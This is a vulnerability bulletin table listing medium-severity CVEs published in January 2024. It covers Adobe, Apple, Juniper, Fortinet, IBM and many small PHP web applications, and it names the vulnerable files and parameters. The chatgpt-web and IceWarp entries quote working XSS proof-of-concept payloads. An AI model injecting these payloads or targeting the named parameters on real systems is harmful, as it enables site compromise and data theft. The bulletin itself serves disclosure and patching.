adobe -- substance_3d_stager	Adobe Substance 3D Stager versions 2.1.3 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	2024-01-10	5.5	CVE-2024-20712 psirt@adobe.com
adobe -- substance_3d_stager	Adobe Substance 3D Stager versions 2.1.3 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	2024-01-10	5.5	CVE-2024-20713 psirt@adobe.com
ajexperience -- 404_solution	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Aaron J 404 Solution.This issue affects 404 Solution: from n/a through 2.33.0.	2024-01-05	5.3	CVE-2023-52146
apollo -- apollo	A vulnerability was found in Apollo 2.0.0/2.0.1 and classified as problematic. Affected by this issue is some unknown functionality of the file /users of the component Configuration Center. The manipulation leads to improper authorization. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The real existence of this vulnerability is still doubted at the moment. VDB-250430 is the identifier assigned to this vulnerability. NOTE: The maintainer explains that user data information like user id, name, and email are not sensitive.	2024-01-12	4.3	CVE-2022-4962
apple -- macos	This issue was addressed with improved data protection. This issue is fixed in macOS Sonoma 14. An app may be able to access user-sensitive data.	2024-01-10	5.5	CVE-2023-40411
apple -- macos	A logic issue was addressed with improved checks. This issue is fixed in macOS Sonoma 14. An app may be able to access removable volumes without user consent.	2024-01-10	5.5	CVE-2023-40430
apple -- macos	This issue was addressed with improved checks. This issue is fixed in macOS Sonoma 14. An app may be able to access sensitive user data.	2024-01-10	5.5	CVE-2023-41987
apple -- macos	A logic issue was addressed with improved checks This issue is fixed in macOS Sonoma 14. A camera extension may be able to access the camera view from apps other than the app for which it was granted permission.	2024-01-10	5.5	CVE-2023-41994
apple -- macos	The issue was addressed with improved checks. This issue is fixed in macOS Sonoma 14. An app may be able to access protected user data.	2024-01-10	5.5	CVE-2023-42929

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
appwrite -- command_line_interface	In Appwrite CLI before 3.0.0, when using the login command, the credentials of the Appwrite user are stored in a ~/.appwrite/prefs.json file with 0644 as UNIX permissions. Any user of the local system can access those credentials.	2024-01-09	5.5	CVE-2023-50974
arm -- valhall_gpu_kernel_driver	Use After Free vulnerability in Arm Ltd Valhall GPU Kernel Driver allows a local non-privileged user to make improper GPU processing operations to gain access to already freed memory. This issue affects Valhall GPU Kernel Driver: from r37p0 through r40p0.	2024-01-08	5.5	CVE-2023-5091
austin -- austin	A vulnerability was found in ZhongFuCheng3y Austin 1.0 and classified as critical. This issue affects the function getFile of the file com/java3y/austin/web/controller/MaterialController.java of the component Upload Material Menu. The manipulation leads to unrestricted upload. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250619.	2024-01-13	5.5	CVE-2024-0505
autelrobotics -- evo_nano_drone_firmware	Autel EVO NANO drone flight control firmware version 1.6.5 is vulnerable to denial of service (DoS).	2024-01-06	5.7	CVE-2023-50121
ava -- teaching_video_application_service_platform	Cross Site Scripting (XSS) vulnerability in AVA teaching video application service platform version 3.1, allows remote attackers to execute arbitrary code via a crafted script to ajax.aspx.	2024-01-06	6.1	CVE-2023-50609
blood_bank_&_donor_management -- blood_bank_&_donor_management	A vulnerability has been found in Blood Bank & Donor Management 5.6 and classified as critical. This vulnerability affects unknown code of the file /admin/request-received-bydonar.php. The manipulation leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250564.	2024-01-12	4.7	CVE-2024-0459
campcodes -- student_information_system	A vulnerability was found in Campcodes Student Information System 1.0. It has been classified as critical. Affected is an unknown function of the file /classes/Users.php?f=save. The manipulation of the argument username leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-250602 is the identifier assigned to this vulnerability.	2024-01-13	6.3	CVE-2024-0497
cformsii_project -- cformsii	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Oliver Seidel, Bastian Germann cformsII allows Stored XSS.This issue affects cformsII: from n/a through 15.0.5.	2024-01-08	4.8	CVE-2023-52203
chanzhaoyu -- chatgpt_web	A vulnerability, which was classified as problematic, has been found in Chanzhaoyu chatgpt-web 2.11.1. This issue affects some unknown processing. The manipulation of the argument Description with the input <image src onerror=prompt(document.domain)> leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249779.	2024-01-08	6.1	CVE-2023-7215
chromiumembedded -- cef	CEF (Chromium Embedded Framework) is a simple framework for embedding Chromium-based browsers in other applications. `CefLayeredWindowUpdaterOSR::OnAllocatedSharedMemory` does not check the size of the shared memory, which leads to out-of-bounds read outside the sandbox. This vulnerability was patched in commit 1f55d2e.	2024-01-12	5.3	CVE-2024-21639
chromiumembedded -- cef	Chromium Embedded Framework (CEF) is a simple framework for embedding Chromium-based browsers in other applications.`CefVideoConsumerOSR::OnFrameCaptured` does not check `pixel_format` properly, which leads to out-of-bounds read out of the sandbox. This vulnerability was patched in commit 1f55d2e.	2024-01-13	5.4	CVE-2024-21640

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
code-projects -- dormitory_management_system	A vulnerability classified as critical has been found in code-projects Dormitory Management System 1.0. Affected is an unknown function of the file comment.php. The manipulation of the argument com leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-250578 is the identifier assigned to this vulnerability.	2024-01-12	6.3	CVE-2024-0473
code-projects -- dormitory_management_system	A vulnerability, which was classified as critical, has been found in code-projects Dormitory Management System 1.0. Affected by this issue is some unknown functionality of the file modifyuser.php. The manipulation of the argument user_id leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250580.	2024-01-13	6.3	CVE-2024-0475
code-projects -- employee_profile_management_system	A vulnerability, which was classified as critical, has been found in code-projects Employee Profile Management System 1.0. This issue affects some unknown processing of the file file_table.php. The manipulation of the argument per_id leads to sql injection. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250571.	2024-01-12	5.5	CVE-2024-0466
code-projects -- faculty_management_system	A vulnerability was found in code-projects Faculty Management System 1.0 and classified as critical. This issue affects some unknown processing of the file /admin/pages/student-print.php. The manipulation leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250565 was assigned to this vulnerability.	2024-01-12	6.3	CVE-2024-0460
code-projects -- fighting_c***_information_system	A vulnerability has been found in code-projects Fighting C*** Information System 1.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /admin/action/new-father.php. The manipulation of the argument image leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250573 was assigned to this vulnerability.	2024-01-12	6.3	CVE-2024-0468
code-projects -- fighting_c***_information_system	A vulnerability has been found in code-projects Fighting C*** Information System 1.0 and classified as critical. This vulnerability affects unknown code of the file /admin/action/update-deworm.php. The manipulation of the argument usage_deworm leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-250582 is the identifier assigned to this vulnerability.	2024-01-13	6.3	CVE-2024-0477
code-projects -- fighting_c***_information_system	A vulnerability was found in code-projects Fighting C*** Information System 1.0 and classified as critical. This issue affects some unknown processing of the file /admin/pages/edit_chicken.php. The manipulation of the argument id leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250583.	2024-01-13	6.3	CVE-2024-0478
code-projects -- fighting_c***_information_system	A vulnerability, which was classified as critical, has been found in code-projects Fighting C*** Information System 1.0. This issue affects some unknown processing of the file admin/action/update_mother.php. The manipulation of the argument age_mother leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250589 was assigned to this vulnerability.	2024-01-13	6.3	CVE-2024-0484
code-projects -- fighting_c***_information_system	A vulnerability, which was classified as critical, was found in code-projects Fighting C*** Information System 1.0. Affected is an unknown function of the file admin/pages/tables/add_con.php. The manipulation of the argument id leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-250590 is the identifier assigned to this vulnerability.	2024-01-13	6.3	CVE-2024-0485

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
code-projects -- fighting_c***_information_system	A vulnerability has been found in code-projects Fighting C*** Information System 1.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /admin/action/add_con.php. The manipulation of the argument chicken leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250591.	2024-01-13	6.3	CVE-2024-0486
code-projects -- fighting_c***_information_system	A vulnerability was found in code-projects Fighting C*** Information System 1.0 and classified as critical. Affected by this issue is some unknown functionality of the file /admin/action/delete-vaccine.php. The manipulation of the argument ref leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250592.	2024-01-13	6.3	CVE-2024-0487
code-projects -- fighting_c***_information_system	A vulnerability was found in code-projects Fighting C*** Information System 1.0. It has been classified as critical. This affects an unknown part of the file /admin/action/new-feed.php. The manipulation of the argument type_feed leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250593 was assigned to this vulnerability.	2024-01-13	6.3	CVE-2024-0488
code-projects -- fighting_c***_information_system	A vulnerability was found in code-projects Fighting C*** Information System 1.0. It has been declared as critical. This vulnerability affects unknown code of the file /admin/action/edit_chicken.php. The manipulation of the argument ref leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-250594 is the identifier assigned to this vulnerability.	2024-01-13	6.3	CVE-2024-0489
code-projects -- human_resource_integrated_system	A vulnerability was found in code-projects Human Resource Integrated System 1.0 and classified as critical. Affected by this issue is some unknown functionality of the file update_personal_info.php. The manipulation of the argument sex leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-250574 is the identifier assigned to this vulnerability.	2024-01-12	6.3	CVE-2024-0469
code-projects -- human_resource_integrated_system	A vulnerability was found in code-projects Human Resource Integrated System 1.0. It has been classified as critical. This affects an unknown part of the file /admin_route/inc_service_credits.php. The manipulation of the argument id leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250575.	2024-01-12	6.3	CVE-2024-0470
code-projects -- human_resource_integrated_system	A vulnerability was found in code-projects Human Resource Integrated System 1.0. It has been declared as critical. This vulnerability affects unknown code of the file /admin_route/dec_service_credits.php. The manipulation of the argument date leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250576.	2024-01-12	6.3	CVE-2024-0471
code-projects -- online_faculty_clearance	A vulnerability was found in code-projects Online Faculty Clearance 1.0. It has been classified as critical. Affected is an unknown function of the file deactivate.php of the component HTTP POST Request Handler. The manipulation of the argument haydi leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-250566 is the identifier assigned to this vulnerability.	2024-01-12	6.3	CVE-2024-0461
code-projects -- online_faculty_clearance	A vulnerability was found in code-projects Online Faculty Clearance 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /production/designee_view_status.php of the component HTTP POST Request Handler. The manipulation of the argument haydi leads to sql injection. The attack	2024-01-12	6.3	CVE-2024-0462

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250567.			
code-projects -- online_faculty_clearance	A vulnerability was found in code-projects Online Faculty Clearance 1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file /production/admin_view_info.php of the component HTTP POST Request Handler. The manipulation of the argument haydi leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250568.	2024-01-12	6.3	CVE-2024-0463
code-projects -- online_faculty_clearance	A vulnerability classified as critical has been found in code-projects Online Faculty Clearance 1.0. This affects an unknown part of the file delete_faculty.php of the component HTTP GET Request Handler. The manipulation of the argument id leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250569 was assigned to this vulnerability.	2024-01-12	6.3	CVE-2024-0464
codecabin -- wp_go_maps	The WP Go Maps (formerly WP Google Maps) WordPress plugin before 9.0.28 does not properly protect most of its REST API routes, which attackers can abuse to store malicious HTML/Javascript on the site.	2024-01-08	6.1	CVE-2023-6627
deshang -- dscms	A vulnerability classified as problematic has been found in DeShang DSCMS up to 3.1.2/7.1. Affected is an unknown function of the file public/install.php. The manipulation leads to improper access controls. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-250434 is the identifier assigned to this vulnerability.	2024-01-11	5.3	CVE-2024-0414
deshang -- dskms	A vulnerability was found in DeShang DSKMS up to 3.1.2. It has been rated as problematic. This issue affects some unknown processing of the file public/install.php. The manipulation leads to improper access controls. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250433 was assigned to this vulnerability.	2024-01-11	5.3	CVE-2024-0413
deshang -- dsmall	A vulnerability classified as critical was found in DeShang DSMall up to 6.1.0. Affected by this vulnerability is an unknown functionality of the file application/home/controller/TaobaoExport.php of the component Image URL Handler. The manipulation leads to improper access controls. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250435.	2024-01-11	6.3	CVE-2024-0415
deshang -- dsmall	A vulnerability was found in DeShang DSMall up to 6.1.0. It has been classified as problematic. This affects an unknown part of the file public/install.php of the component HTTP GET Request Handler. The manipulation leads to improper access controls. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250431.	2024-01-11	5.3	CVE-2024-0411
deshang -- dsmall	A vulnerability, which was classified as critical, has been found in DeShang DSMall up to 5.0.3. Affected by this issue is some unknown functionality of the file application/home/controller/MemberAuth.php. The manipulation of the argument file_name leads to path traversal: '../filedir'. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250436.	2024-01-11	5.4	CVE-2024-0416
deshang -- dsshop	A vulnerability was found in DeShang DSShop up to 3.1.0. It has been declared as problematic. This vulnerability affects unknown code of the file public/install.php of the component HTTP GET Request Handler. The manipulation leads to improper access controls. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250432.	2024-01-11	5.3	CVE-2024-0412

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
deshang -- dsshop	A vulnerability, which was classified as critical, was found in DeShang DSShop up to 2.1.5. This affects an unknown part of the file application/home/controller/MemberAuth.php. The manipulation of the argument member_info leads to path traversal: '../filedir'. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250437 was assigned to this vulnerability.	2024-01-11	5.4	CVE-2024-0417
discourse -- discourse	Discourse is a platform for community discussion. For fields that are client editable, limits on sizes are not imposed. This allows a malicious actor to cause a Discourse instance to use excessive disk space and also often excessive bandwidth. The issue is patched 3.1.4 and 3.2.0.beta4.	2024-01-12	4.3	CVE-2024-21655
dlink -- r15_firmware	D-Link R15 before v1.08.02 was discovered to contain no firewall restrictions for IPv6 traffic. This allows attackers to arbitrarily access any services running on the device that may be inadvertently listening via IPv6.	2024-01-10	5.3	CVE-2023-41603
download-station -- download-station	A vulnerability, which was classified as critical, has been found in unknown-o download-station up to 1.1.8. This issue affects some unknown processing of the file index.php. The manipulation of the argument f leads to path traversal: '../filedir'. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250121 was assigned to this vulnerability.	2024-01-10	5.3	CVE-2024-0354
dso2o -- dso2o	A vulnerability was found in DeShang DSO2O up to 4.1.0. It has been classified as critical. This affects an unknown part of the file /install/install.php. The manipulation leads to improper access controls. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250125 was assigned to this vulnerability.	2024-01-10	5.3	CVE-2024-0358
dzzoffice -- dzzoffice	SQL Injection vulnerability in Dzzoffice version 2.01, allows remote attackers to obtain sensitive information via the doobj and doevent parameters in the Network Disk backend module.	2024-01-06	6.5	CVE-2023-39853
easyxdm -- easyxdm	easyXDM 2.5 allows XSS via the xdm_e parameter.	2024-01-08	6.1	CVE-2023-27739
elan -- dell_inspiron	ELAN Match-on-Chip FPR solution has design fault about potential risk of valid SID leakage and enumeration with spoof sensor. This fault leads to that Windows Hello recognition would be bypass with cloning SID to cause broken account identity. Version which is lower than 3.0.12011.08009(Legacy)/3.3.12011.08103(ESS) would suffer this risk on DELL Inspiron platform.	2024-01-12	6	CVE-2024-0454 36106deb-8e95-420b-a0a0-e70af5d245df
engineers_online_portal_project -- engineers_online_portal	A vulnerability was found in SourceCodester Engineers Online Portal 1.0. It has been declared as problematic. Affected by this vulnerability is an unknown functionality. The manipulation leads to sensitive cookie without secure attribute. The attack can be launched remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. The identifier VDB-250117 was assigned to this vulnerability.	2024-01-09	5.3	CVE-2024-0349
eva -- eva	A vulnerability was found in coderd-repos Eva 1.0.0 and classified as critical. Affected by this issue is some unknown functionality of the file /system/traceLog/page of the component HTTP POST Request Handler. The manipulation of the argument property leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250124.	2024-01-10	5.5	CVE-2024-0357
ewels -- cpt_bootstrap_carousel	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Phil Ewels CPT Bootstrap Carousel allows Reflected XSS. This issue affects CPT Bootstrap Carousel: from n/a through 1.12.	2024-01-08	6.1	CVE-2023-52196

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
firefly-iii -- firefly_iii	Firefly III (aka firefly-iii) before 6.1.1 allows webhooks HTML Injection.	2024-01-05	6.1	CVE-2024-22075
fortinet -- fortipam	An allocation of resources without limits or throttling vulnerability [CWE-770] in FortiPAM 1.0 all versions allows an authenticated attacker to perform a denial of service attack via sending crafted HTTP or HTTPS requests in a high frequency.	2024-01-10	4.3	CVE-2023-37934 psirt@fortinet.com
fortinet -- fortiportal	An Authorization Bypass Through User-Controlled Key vulnerability [CWE-639] affecting PortiPortal version 7.2.1 and below, version 7.0.6 and below, version 6.0.14 and below, version 5.3.8 and below may allow a remote authenticated user with at least read-only permissions to access to other organization endpoints via crafted GET requests.	2024-01-10	5.4	CVE-2023-48783 psirt@fortinet.com
fortinet -- fortivoice	An improper limitation of a pathname to a restricted directory ('path traversal') vulnerability [CWE-22] in FortiVoiceEntreprise version 7.0.0 and before 6.4.7 allows an authenticated attacker to read arbitrary files from the system via sending crafted HTTP or HTTPS requests	2024-01-10	6.5	CVE-2023-37932 psirt@fortinet.com
foru -- cms	A vulnerability, which was classified as critical, has been found in ForU CMS up to 2020-06-23. This issue affects some unknown processing of the file admin/cms_template.php. The manipulation of the argument t_name/t_path leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250445 was assigned to this vulnerability.	2024-01-11	6.3	CVE-2024-0426
foru -- cms	A vulnerability classified as critical was found in ForU CMS up to 2020-06-23. This vulnerability affects unknown code of the file /admin/index.php?act=reset_admin_psw. The manipulation leads to weak password recovery. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250444.	2024-01-11	5.3	CVE-2024-0425
get-simple -- getsimplecms	A Cross Site Scripting (XSS) vulnerability in GetSimple CMS 3.3.16 exists when using Source Code Mode as a backend user to add articles via the /admin/edit.php page.	2024-01-08	5.4	CVE-2023-51246
gitlab -- gitlab	An improper access control vulnerability exists in GitLab Remote Development affecting all versions prior to 16.5.6, 16.6 prior to 16.6.4 and 16.7 prior to 16.7.2. This condition allows an attacker to create a workspace in one group that is associated with an agent from another group.	2024-01-12	6.6	CVE-2023-6955
hamidrezasepehr -- wp_custom_cursors_|_wordpress_cursor_plugin	The WP Custom Cursors | WordPress Cursor Plugin WordPress plugin through 3.2 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)	2024-01-08	4.8	CVE-2023-5911
huaxia -- erp	A vulnerability was found in Huaxia ERP up to 3.1. It has been rated as problematic. This issue affects some unknown processing of the file /user/getAllList. The manipulation leads to information disclosure. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 3.2 is able to address this issue. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-250595.	2024-01-13	5.3	CVE-2024-0490
huaxia -- erp	A vulnerability classified as problematic has been found in Huaxia ERP up to 3.1. Affected is an unknown function of the file src/main/java/com/jsh/erp/controller/UserController.java. The manipulation leads to weak password recovery. It is possible to launch the attack remotely. Upgrading to version 3.2 is able to address this issue. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-250596.	2024-01-13	5.3	CVE-2024-0491

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
i13websolution -- email_subscription_popup	The Email Subscription Popup WordPress plugin before 1.2.20 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin	2024-01-08	6.1	CVE-2023-6555
ibm -- aix	IBM AIX 7.2, 7.3, and VIOS 3.1 could allow a non-privileged local user to exploit a vulnerability in the pmsvcs kernel extension to cause a denial of service. IBM X-Force ID: 267967.	2024-01-11	6.2	CVE-2023-45169
ibm -- aix	IBM AIX 7.2, 7.3, and VIOS 3.1 could allow a non-privileged local user to exploit a vulnerability in the kernel to cause a denial of service. IBM X-Force ID: 267969.	2024-01-11	6.2	CVE-2023-45171
ibm -- aix	IBM AIX 7.2, 7.3, and VIOS 3.1 could allow a non-privileged local user to exploit a vulnerability in the NFS kernel extension to cause a denial of service. IBM X-Force ID: 267971.	2024-01-11	6.2	CVE-2023-45173
ibm -- aix	IBM AIX 7.2, 7.3, and VIOS 3.1 could allow a non-privileged local user to exploit a vulnerability in the TCP/IP kernel extension to cause a denial of service. IBM X-Force ID: 267973.	2024-01-11	6.2	CVE-2023-45175
ibm -- security_verify_access_appliance	IBM Security Access Manager Appliance (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.6.1) could allow a local user to obtain sensitive configuration information. IBM X-Force ID: 260584.	2024-01-11	6.2	CVE-2023-38267
ibm -- security_verify_access_appliance	IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.6.1) temporarily stores sensitive information in files that could be accessed by a local user. IBM X-Force ID: 254653.	2024-01-11	5.1	CVE-2023-31001
icewarp -- icewarp	A vulnerability classified as problematic has been found in IceWarp 12.0.2.1/12.0.3.1. This affects an unknown part of the file /install/ of the component Utility Download Handler. The manipulation of the argument lang with the input 1%27"()%26%25<zzz><ScRiPt>alert(document.domain)</ScRiPt> leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249759. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-05	6.1	CVE-2024-0246
iframe_project -- iframe	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in webvitaly iframe allows Stored XSS.This issue affects iframe: from n/a through 4.8.	2024-01-05	5.4	CVE-2023-52125
impactpixel -- ads_invalid_click_protection	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Impactpixel Ads Invalid Click Protection allows Stored XSS.This issue affects Ads Invalid Click Protection: from n/a through 1.0.	2024-01-08	4.8	CVE-2023-52197
infoblox -- nios	A stored cross-site scripting (XSS) vulnerability in Infoblox NIOS v8.5.2-409296 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the VLAN View Name field.	2024-01-09	5.4	CVE-2022-28975
inis -- inis	A vulnerability classified as critical has been found in Inis up to 2.0.1. Affected is an unknown function of the file /app/api/controller/default/Sqlite.php. The manipulation of the argument sql leads to sql injection. The exploit has been disclosed to the public and may be used. VDB-250110 is the identifier assigned to this vulnerability.	2024-01-09	6.3	CVE-2024-0342
isharer_and_upredsun -- file_sharing_wizard	A vulnerability has been found in iSharer and upRedSun File Sharing Wizard up to 1.5.0 and classified as problematic. This vulnerability affects unknown code of the component GET Request Handler. The manipulation leads to denial of service. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-250438 is the identifier assigned to this vulnerability.	2024-01-11	5.3	CVE-2024-0418

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
jasper -- httpdx	A vulnerability was found in Jasper httpdx up to 1.5.4 and classified as problematic. This issue affects some unknown processing of the component HTTP POST Request Handler. The manipulation leads to denial of service. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250439.	2024-01-11	5.3	CVE-2024-0419
jetbrains -- youtrack	In JetBrains YouTrack before 2023.3.22666 stored XSS via markdown was possible	2024-01-09	5.4	CVE-2024-22370 cve@jetbrains.com
juniper_networks -- junos_os	An Improper Check for Unusual or Exceptional Conditions vulnerability in Juniper DHCP Daemon (jdhcpd) of Juniper Networks Junos OS allows an adjacent, unauthenticated attacker to cause the jdhcpd to consume all the CPU cycles resulting in a Denial of Service (DoS). On Junos OS devices with forward-snooped-client configured, if an attacker sends a specific DHCP packet to a non-configured interface, this will cause an infinite loop. The DHCP process will have to be restarted to recover the service. This issue affects: Juniper Networks Junos OS * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S5; * 22.1 versions earlier than 22.1R3-S4; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R2-S2, 22.4R3; * 23.2 versions earlier than 23.2R2.	2024-01-12	6.5	CVE-2023-36842
juniper_networks -- junos_os	An Improper Handling of Exceptional Conditions vulnerability in the broadband edge subscriber management daemon (bbe-smgd) of Juniper Networks Junos OS on MX Series allows an attacker directly connected to the vulnerable system who repeatedly flaps DHCP subscriber sessions to cause a slow memory leak, ultimately leading to a Denial of Service (DoS). Memory can only be recovered by manually restarting bbe-smgd. This issue only occurs if BFD liveness detection for DHCP subscribers is enabled. Systems without BFD liveness detection enabled are not vulnerable to this issue. Indication of the issue can be observed by periodically executing the 'show system processes extensive' command, which will indicate an increase in memory allocation for bbe-smgd. A small amount of memory is leaked every time a DHCP subscriber logs in, which will become visible over time, ultimately leading to memory starvation. user@junos> show system processes extensive | match bbe-smgd 13071 root 24 0 415M 201M select 0 0:41 7.28% bbe-smgd{bbe-smgd} 13071 root 20 0 415M 201M select 1 0:04 0.00% bbe-smgd{bbe-smgd} ... user@junos> show system processes extensive | match bbe-smgd 13071 root 20 0 420M 208M select 0 4:33 0.10% bbe-smgd{bbe-smgd} 13071 root 20 0 420M 208M select 0 0:12 0.00% bbe-smgd{bbe-smgd} ... This issue affects Juniper Networks Junos OS on MX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S5; * 22.1 versions earlier than 22.1R3-S4; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R2-S2, 22.4R3; * 23.2 versions earlier than 23.2R1-S1, 23.2R2.	2024-01-12	6.5	CVE-2024-21587
juniper_networks -- junos_os	A Missing Release of Memory after Effective Lifetime vulnerability in the Packet Forwarding Engine (PFE) of Juniper Networks Junos OS on MX Series allows an adjacent, unauthenticated attacker to cause a Denial of Service (DoS). If an MX Series device receives PTP packets on an MPC3E that doesn't support PTP this causes a memory leak which will result in unpredictable behavior and ultimately in an MPC crash and restart. To monitor for this issue, please use the following FPC vty level commands: show heap shows an increase in "LAN buffer" utilization and show clksync ptp nbr-upd-info shows non-zero "Pending PFEs" counter. This issue affects Juniper Networks Junos OS on MX Series with MPC3E: * All versions earlier than 20.4R3-S3; * 21.1 versions earlier than 21.1R3-S4; * 21.2 versions earlier than 21.2R3; * 21.3 versions earlier than 21.3R2-S1, 21.3R3; * 21.4 versions earlier than 21.4R2; * 22.1 versions earlier than 22.1R2.	2024-01-12	6.5	CVE-2024-21599

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
